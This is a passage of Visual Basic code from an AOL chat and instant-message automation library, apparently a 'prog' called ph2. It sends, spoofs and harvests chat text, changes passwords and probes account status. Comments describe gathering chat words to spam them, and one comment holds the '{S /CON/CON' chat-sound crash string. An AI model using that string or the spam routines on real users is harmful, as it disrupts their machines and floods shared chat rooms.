mString$ = String$(100, " ")
End If
fString& = GetMenuString(sMenu&, sItem&, mString$, 100, 1)
If InStr(1, LCase(mString$), LCase("&LOGGING...")) <> 0& Then
AOLnumba = "2.5"
Else
AOLnumba = "three"
End If
End If
End Function
Public Sub ChangePassword25(oldpw As String, newpw As String)
'changes user's password
Dim aol As Long, mdi As Long, cWin As Long, cButton As Long, cButCancel As Long, cStatic As Long
Dim cpWin As Long, cpEditSN As Long, cpEditPW As Long, cpEditPW2 As Long, cpButton As Long
Dim msgWin As Long, MsgButton As Long, msgStatic As Long, MsgString As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call KeyWord25("Password")
Do
DoEvents
cWin& = FindWindow("_AOL_Modal", vbNullString)
cButton& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
cButCancel& = FindWindowEx(cWin&, cButton&, "_AOL_Icon", vbNullString)
cStatic& = FindWindowEx(cWin&, 0&, "_AOL_Static", vbNullString)
Loop Until cWin& <> 0& And cButton& <> 0& And cStatic& <> 0&
Call PostMessage(cButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(cButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
cpWin& = FindWindow("_AOL_Modal", "Change Your Password")
cpEditSN& = FindWindowEx(cpWin&, 0&, "_AOL_Edit", vbNullString)
cpEditPW& = FindWindowEx(cpWin&, cpEditSN&, "_AOL_Edit", vbNullString)
cpEditPW2& = FindWindowEx(cpWin&, cpEditPW&, "_AOL_Edit", vbNullString)
cpButton& = FindWindowEx(cpWin&, 0&, "_AOL_Icon", vbNullString)
'cpButton& = FindWindowEx(cpWin&, cpButton&, "_AOL_Icon", vbNullString)
Loop Until cpWin& <> 0& And cpEditSN& <> 0& And cpEditPW& <> 0& And cpEditPW2& <> 0& And cpButton& <> 0&
Call SendMessageByString(cpEditSN&, WM_SETTEXT, 0&, oldpw$)
Call SendMessageByString(cpEditPW&, WM_SETTEXT, 0&, newpw$)
Call SendMessageByString(cpEditPW2&, WM_SETTEXT, 0&, newpw$)
Call SendMessage(cpButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cpButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
MsgButton& = FindWindowEx(msgWin&, 0&, "Button", "OK")
msgStatic& = FindWindowEx(msgWin&, 0&, "Static", vbNullString)
msgStatic& = FindWindowEx(msgWin&, msgStatic&, "Static", vbNullString)
MsgString$ = GetText(msgStatic&)
Loop Until msgWin& <> 0& And MsgButton& <> 0& And MsgString$ <> ""
If InStr(1, MsgString$, "specify current password.") <> 0& Then
Call PostMessage(MsgButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(MsgButton&, WM_KEYUP, VK_SPACE, 0&)
ElseIf InStr(1, MsgString$, "is identical to your old password") <> 0& Then
Call PostMessage(MsgButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(MsgButton&, WM_KEYUP, VK_SPACE, 0&)
ElseIf InStr(1, MsgString$, "password has been changed") <> 0& Then
pause (0.3)
Call SendMessage(cButCancel&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cButCancel&, WM_LBUTTONUP, 0&, 0&)
End If
Call PostMessage(cButCancel&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(cButCancel&, WM_KEYUP, VK_SPACE, 0&)
End Sub
Public Function ChatLength() As Long
'gets the length of the
'text scrolled in the chat
Dim cWin As Long, cCNTL As Long, Asdf As Long
If AOLVersion = "4" Or AOLVersion = "5" Then
cWin& = FindRoom
cCNTL& = FindWindowEx(cWin&, 0&, "RICHCNTL", vbNullString)
Else
cWin& = FindRoom25
cCNTL& = FindWindowEx(cWin&, 0&, "_AOL_View", vbNullString)
End If
If cCNTL& <> 0& Then
ChatLength = SendMessage(cCNTL&, WM_GETTEXTLENGTH, 0&, 0&)
End If
End Function
Public Sub ChatManip(screenname As String, sentence As String)
'manipulates the user's
'chatwindow ONLY
Dim rWin As Long, rCNTL As Long, rText As String, rString As String
rWin& = FindRoom&
If rWin& = 0& Then Exit Sub
rCNTL& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
rString$ = vbCrLf + "" + screenname$ + ":" + Chr(9) + sentence$ + ""
Call SendMessageByString(rCNTL&, WM_SETTEXT, 0&, rString$)
End Sub
Public Sub ChatManip25(screenname As String, sentence As String)
'manipulates the user's
'chatwindow ONLY
Dim rWin As Long, rView As Long, rText As String, rString As String
rWin& = FindRoom25&
If rWin& = 0& Then Exit Sub
rView& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
rString$ = vbCrLf + "" + screenname$ + ":" + Chr(9) + sentence$ + ""
Call SendMessageByString(rView&, WM_SETTEXT, 0&, rString$)
End Sub
Public Sub ChatNow()
'goes to lobby
Call RunTBMenu(10&, 2&)
Do
DoEvents
Loop Until FindRoom& <> 0&
End Sub
Public Function ChatRemoveSN() As String
'returns the vaule of the chat text w/o the screen names
'this function is usually just used to either
'have stuff to search for in m/d gathers
'or to spam the words gathered
'(works for all aol's)
Dim StartingPoint As Long, EndingPoing As Long, LengthOfSn As Long, cSN As String
Dim cCNTL As Long, cString As String, EndingPoint As Long, cView As Long
If FindRoom& = 0& And FindRoom25& = 0& Then ChatRemoveSN$ = "": Exit Function
If AOLVersion = "4" Or AOLVersion = "5" Then
cCNTL& = FindWindowEx(FindRoom&, 0&, "RICHCNTL", vbNullString)
cString$ = GetText(cCNTL&)
Else
cView& = FindWindowEx(FindRoom25&, 0&, "_AOL_View", vbNullString)
cString$ = GetText(cView&)
End If
If InStr(1, cString$, Chr(13)) = 0 Then ChatRemoveSN = "": Exit Function
If InStr(1, cString$, Chr(9)) = 0 Then ChatRemoveSN = "": Exit Function
Do
DoEvents
StartingPoint& = InStr(1&, cString$, Chr(13))
EndingPoint& = InStr(1&, cString$, Chr(9)) + 1&
If EndingPoint& > StartingPoint& Then
LengthOfSn& = EndingPoint& - StartingPoint&
Else
LengthOfSn& = StartingPoint& - EndingPoint&
End If
cSN$ = Mid(cString$, StartingPoint&, LengthOfSn&)
cString$ = ReplaceText(cString$, cSN$, " ")
Loop Until InStr(1&, cString$, Chr(13)) = 0& Or InStr(1&, cString$, Chr(9)) = 0&
ChatRemoveSN$ = cString$
End Function
Public Sub ChatSend(Text As String)
'sends text to the chat
Dim rWin As Long, rRich As Long, rText As String
Dim WaitSend As String, mode As String
mode$ = GetFromINI("ph2", "mode", App.Path + "\ph2.ini")
If mode$ = "elite" Then
Text$ = Text_Elite(Text$)
ElseIf mode$ = "hacker" Then
Text$ = Text_Hacker(Text$)
ElseIf mode$ = "lcase" Then
Text$ = LCase(Text$)
ElseIf mode$ = "ucase" Then
Text$ = UCase(Text$)
ElseIf mode$ = "pig latin" Then
Text$ = Text_PigLatin(Text$)
ElseIf mode$ = "silent" Then
Exit Sub
ElseIf mode$ = "normal" Then
End If
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call ChatSend25(Text$)
Exit Sub
End If
If FindRoom& = 0& Or Text$ = "" Then Exit Sub
rWin& = FindRoom&
rRich& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
rRich& = FindWindowEx(rWin&, rRich&, "RICHCNTL", vbNullString)
rText$ = GetText(rRich&)
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, "")
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, "<font face=""arial""></html>" + Text$)
Do
DoEvents
Call SendMessageLong(rRich&, WM_CHAR, ENTER_KEY, 0&)
WaitSend$ = GetText(rRich&)
Loop Until WaitSend$ = ""
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, rText$)
End Sub
Public Sub ChatSend25(Text As String)
'sends text to chat on aol 2.5 and 3.0
Dim rWin As Long, rString As String, rEdit As Long
rWin& = FindRoom25
If rWin& = 0& Or Text$ = "" Then Exit Sub
rEdit& = FindWindowEx(rWin&, 0&, "_AOL_Edit", vbNullString)
Call SendMessageByString(rEdit&, WM_SETTEXT, 0&, "")
Call SendMessageByString(rEdit&, WM_SETTEXT, 0&, Text$)
Call SendMessageLong(rEdit&, WM_CHAR, ENTER_KEY, 0&)
End Sub
Public Sub ChatSendOH(Text As String)
'sends text to the chat.. overhead stylee
Dim rWin As Long, rRich As Long, rText As String
Dim WaitSend As String
If blnOHScroll = False Then Exit Sub
If FindRoom& = 0& Or Text$ = "" Then Exit Sub
rWin& = FindRoom&
rRich& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
rRich& = FindWindowEx(rWin&, rRich&, "RICHCNTL", vbNullString)
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, "")
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, "" + Text$)
Do
DoEvents
Call SendMessageLong(rRich&, WM_CHAR, ENTER_KEY, 0&)
WaitSend$ = GetText(rRich&)
Loop Until WaitSend$ = ""
End Sub
Public Sub ChatSendOH25(Text As String)
'sends text to chat on aol 2.5 or 3.0
Dim rWin As Long, rString As String, rEdit As Long
If blnOHScroll = False Then Exit Sub
rWin& = FindRoom25&
If rWin& = 0& Or Text$ = "" Then Exit Sub
rEdit& = FindWindowEx(rWin&, 0&, "_AOL_Edit", vbNullString)
Call SendMessageByString(rEdit&, WM_SETTEXT, 0&, Chr(9) + Chr(160) + "" + Text$)
Call SendMessageLong(rEdit&, WM_CHAR, ENTER_KEY, 0&)
End Sub
Public Sub ChatSoundsOff()
'turns chatsounds off
Dim aol As Long, mdi As Long, PrefWin As Long, PrefButton As Long
Dim moda As Long, CheckA As Long, CheckR As Long, OKButt As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call ChatSoundsOff25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
PrefWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
PrefButton& = FindWindowEx(PrefWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until PrefWin& <> 0& And PrefButton& <> 0&
Call PostMessage(PrefButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(PrefButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
moda& = FindWindow("_AOL_Modal", "General Preferences")
CheckA& = FindWindowEx(moda&, 0&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
OKButt& = FindWindowEx(moda&, 0&, "_AOL_Icon", vbNullString)
Loop Until moda& <> 0& And CheckA& <> 0& And OKButt& <> 0&
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
If CheckR = 1& Then
Do
DoEvents
Call SendMessage(CheckA&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(CheckA&, WM_LBUTTONUP, 0&, 0&)
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
Loop Until CheckR& = 0
End If
Call PostMessage(OKButt&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(OKButt&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(PrefWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub ChatSoundsOff25()
'turns chat sounds off
Dim aol As Long, mdi As Long, pWin As Long, pIcon As Long
Dim gpWin As Long, gpButton As Long, gpOK As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("preferences")
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
End If
Loop Until pWin& <> 0& And pIcon& <> 0&
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
gpWin& = FindWindow("_AOL_Modal", "General Preferences")
gpButton& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "Enable chat room sounds")
gpOK& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "OK")
Loop Until gpWin& <> 0& And gpButton& <> 0& And gpOK& <> 0&
Do While SendMessage(gpButton&, BM_GETCHECK, 0&, 0&) = 0&
DoEvents
Call SendMessage(gpButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpButton&, WM_KEYUP, VK_SPACE, 0&)
Loop
Call SendMessage(gpOK&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpOK&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub ChatSoundsOn()
'turns chatsounds on
Dim aol As Long, mdi As Long, PrefWin As Long, PrefButton As Long
Dim moda As Long, CheckA As Long, CheckR As Long, OKButt As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call ChatSoundsOn25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
PrefWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
PrefButton& = FindWindowEx(PrefWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until PrefWin& <> 0& And PrefButton& <> 0&
Call PostMessage(PrefButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(PrefButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
moda& = FindWindow("_AOL_Modal", "General Preferences")
CheckA& = FindWindowEx(moda&, 0&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
OKButt& = FindWindowEx(moda&, 0&, "_AOL_Icon", vbNullString)
Loop Until moda& <> 0& And CheckA& <> 0& And OKButt& <> 0&
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
If CheckR = 1& Then
Do
DoEvents
Call SendMessage(CheckA&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(CheckA&, WM_LBUTTONUP, 0&, 0&)
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
Loop Until CheckR& = 1
End If
Call PostMessage(OKButt&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(OKButt&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(PrefWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub ChatSoundsOn25()
'turns chatsounds on.. {S /CON/CON
Dim aol As Long, mdi As Long, pWin As Long, pIcon As Long
Dim gpWin As Long, gpButton As Long, gpOK As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("preferences")
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
End If
Loop Until pWin& <> 0& And pIcon& <> 0&
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
gpWin& = FindWindow("_AOL_Modal", "General Preferences")
gpButton& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "Enable chat room sounds")
gpOK& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "OK")
Loop Until gpWin& <> 0& And gpButton& <> 0& And gpOK& <> 0&
Do While SendMessage(gpButton&, BM_GETCHECK, 0&, 0&) = 1&
DoEvents
Call SendMessage(gpButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpButton&, WM_KEYUP, VK_SPACE, 0&)
Loop
Call SendMessage(gpOK&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpOK&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub ChatTextToList(list As ListBox, Optional DupeCheck As Boolean)
'adds almost every word said in chat to a listbox
Dim ctString As String, FirstComma As Long, SecondComma As Long
Dim SN As String, DupeFound As Boolean, dupeLong As Long
ctString$ = ChatRemoveSN
ctString$ = ReplaceText(ctString$, " ", " ")
FirstComma = 1
SecondComma = 1
Do While InStr(FirstComma + 1, ctString$, " ") <> 0&
DupeFound = False
FirstComma = InStr(FirstComma, ctString$, " ")
SecondComma = InStr(FirstComma + 1, ctString$, " ")
SN$ = Mid(ctString$, FirstComma + 1, SecondComma - FirstComma)
SN$ = SN$
SN$ = ReplaceText(SN$, Chr(9), "")
If Trim(SN$) <> "" Then
If DupeCheck = True Then
For dupeLong& = 0 To list.ListCount - 1
If LCase(TrimSpaces(list.list(dupeLong&))) = LCase(TrimSpaces(SN$)) Then DupeFound = True
Next dupeLong&
If DupeFound = False Then
list.AddItem Trim(SN$)
End If
Else
list.AddItem Trim(SN$)
End If
End If
FirstComma = SecondComma
Loop
End Sub
Public Sub cChatManip25(sentence As String)
'manips the chat.. made for '.commands'
Dim rWin As Long, rView As Long, rText As String, rString As String, Trigger As String
Trigger$ = GetFromINI("ph2", "trigger", App.Path + "\ph2.ini")
If Trigger$ = "" Then Trigger$ = "."
rWin& = FindRoom25&
If rWin& = 0& Then Exit Sub
rView& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
rString$ = vbCrLf + "ph2:" + Chr(9) + "" + sentence$ + ""
Call SendMessageByString(rView&, WM_SETTEXT, 0&, rString$)
End Sub
Public Sub cChatSend(Text As String)
If ccomSilent = False Then
Call ChatSend(Text$)
End If
End Sub
Public Sub CenterForm(frm As Form)
'self explanatory
frm.Left = (Screen.Width / 2&) - (frm.Width / 2&)
frm.Top = (Screen.Height / 2&) - (frm.Height / 2&)
End Sub
Public Function CheckIfForeign() As Boolean
'self explanatory
Dim Wel As Long, CNTL As Long, strCNTL As String
Wel& = FindWelcome&
If Wel& = 0& Then
CheckIfForeign = False
Exit Function
End If
CNTL& = FindWindowEx(Wel&, 0&, "RICHCNTL", vbNullString)
strCNTL$ = GetText(CNTL&)
If InStr(1, LCase(strCNTL$), "come check out the computing area!") <> 0& Then
CheckIfForeign = True
Else
CheckIfForeign = False
End If
End Function
Public Function CheckIfMaster() As Boolean
'checks if user is on a master account
'[works for all aol's]
Dim aol As Long, mdi As Long, pcWin As Long, pcIcon As Long
Dim mstrWin As Long, mstrIcon As Long, subwin As Long, subIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call Keyword("aol://4344:1580.prntcon.12263709.564517913")
Do
DoEvents
pcWin& = FindWindowEx(mdi&, 0&, "AOL Child", " Parental Controls")
pcIcon& = FindWindowEx(pcWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until pcWin& <> 0& And pcIcon& <> 0&
Call RunMenuByString("incoming text")
Call SendMessage(pcIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pcIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mstrWin& = FindWindow("_AOL_Modal", "Parental Controls")
mstrIcon& = FindWindowEx(mstrWin&, 0&, "_AOL_Icon", vbNullString)
mstrIcon& = FindWindowEx(mstrWin&, mstrIcon&, "_AOL_Icon", vbNullString)
mstrIcon& = FindWindowEx(mstrWin&, mstrIcon&, "_AOL_Icon", vbNullString)
subwin& = FindWindow("_AOL_Modal", "")
subIcon& = FindWindowEx(subwin&, 0&, "_AOL_Icon", vbNullString)
Loop Until mstrWin& <> 0& And mstrIcon& <> 0& Or subwin& <> 0& And subIcon& <> 0&
If mstrWin& <> 0& Then
Call SendMessage(mstrIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mstrIcon&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(pcWin&, WM_CLOSE, 0&, 0&)
CheckIfMaster = True
Else
Call SendMessage(subIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(subIcon&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(pcWin&, WM_CLOSE, 0&, 0&)
CheckIfMaster = False
End If
End Function
Public Function CheckIfOh() As Boolean
'checks if user account is an overhead
Dim aol As Long, mdi As Long, msgWin As Long, msgBut As Long, sWin As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
CheckIfOh = CheckIfOh25
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call ImsOff
pause (0.2)
Call sendim(GetUser$, "oh check")
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
Loop Until msgWin& <> 0& And msgBut& <> 0& Or sWin& = 0&
If msgWin& <> 0& Then
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
CheckIfOh = False
ElseIf sWin& = 0& Then
CheckIfOh = True
End If
'Pause (0.2)
'Call IMsOn
End Function
Public Function CheckIfOh25() As Boolean
'checks if user's account is overhead on 2.5 / 3.0
Dim aol As Long, mdi As Long, msgWin As Long, msgBut As Long, sWin As Long
Dim modWin As Long, modBut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call IMsOff25
pause (0.1)
Call SendIM25(GetUser$, "oh check")
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
modWin& = FindWindow("_AOL_Modal", vbNullString)
modBut& = FindWindowEx(modWin&, 0&, "_AOL_Button", "OK")
Loop Until msgWin& <> 0& And msgBut& <> 0& Or sWin& = 0& Or modWin& <> 0& And modBut& <> 0&
If msgWin& <> 0& Then
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
CheckIfOh25 = False
ElseIf sWin& = 0& Then
CheckIfOh25 = True
ElseIf modWin& <> 0& Then
Call PostMessage(modBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(modBut&, WM_KEYUP, VK_SPACE, 0&)
End If
pause (0.3)
'Call IMsOn25
End Function
Public Function CheckIMs(screenname As String) As Boolean
'checks the ims of a screen name
'if his im's are off or he's ghosting,
'then checkims = false
'if he can be im'd, then checkims = true
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imCNTL As Long, imicon As Long, imLong As Long
Dim ciWin As Long, ciBut As Long, ciStatic As Long, ciString As String
If AOLVersion = "3" Or AOLVersion = "2.5" Then
CheckIMs = CheckIMs25(screenname$)
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call Keyword("aol://9293:" + screenname$)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Loop Until IMWin& <> 0& And imEdit& <> 0& And imCNTL& <> 0& And imicon& <> 0&
pause (0.2)
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, "im check")
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
ciStatic& = FindWindowEx(ciWin&, 0&, "Static", vbNullString)
ciStatic& = FindWindowEx(ciWin&, ciStatic&, "Static", vbNullString)
ciString$ = GetText(ciStatic&)
Loop Until ciWin& <> 0& And ciBut& <> 0& And ciStatic& <> 0& And ciString$ <> ""
If InStr(1, ciString$, "not currently signed on") <> 0& Then
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
CheckIMs = False
ElseIf InStr(1, ciString$, "is online and able to receive Instant Messages") <> 0& Then
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
CheckIMs = True
ElseIf InStr(1, ciString$, "cannot currently receive Instant Messages") <> 0& Then
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
CheckIMs = False
End If
End Function
Public Function CheckIMs25(screenname As String) As Boolean
'checks the ims of a screen name
'if his im's are off or he's ghosting,
'then checkims = false
'if he can be im'd, then checkims = true
Dim aol As Long, mdi As Long
Dim IMWin As Long, imEdit As Long, imEdit2 As Long, IMButton As Long, imLong As Long
Dim ciWin As Long, ciBut As Long, ciStatic As Long, ciString As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
'Call KeyWord25("aol://9293:" + ScreenName$)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imEdit& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
imEdit2& = FindWindowEx(IMWin&, imEdit&, "_AOL_Edit", vbNullString)
Else
imEdit2& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Available?")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMButton& <> 0& And imEdit& <> 0& And imEdit2& <> 0& And IMButton& <> 0&
If AOLVersion = "3" Then
pause (0.1)
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 9
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Call SendMessageByString(imEdit&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(imEdit2&, WM_SETTEXT, 0&, "im check")
If AOLVersion = "3" Then
Call SendMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
Else
Call SendMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
End If
Do
DoEvents
ciWin& = FindWindow("#32770", "America Online")
ciBut& = FindWindowEx(ciWin&, 0&, "Button", "OK")
ciStatic& = FindWindowEx(ciWin&, 0&, "Static", vbNullString)
ciStatic& = FindWindowEx(ciWin&, ciStatic&, "Static", vbNullString)
ciString$ = GetText(ciStatic&)
Loop Until ciWin& <> 0& And ciBut& <> 0& And ciStatic& <> 0& And ciString$ <> ""
Call PostMessage(ciBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(ciBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
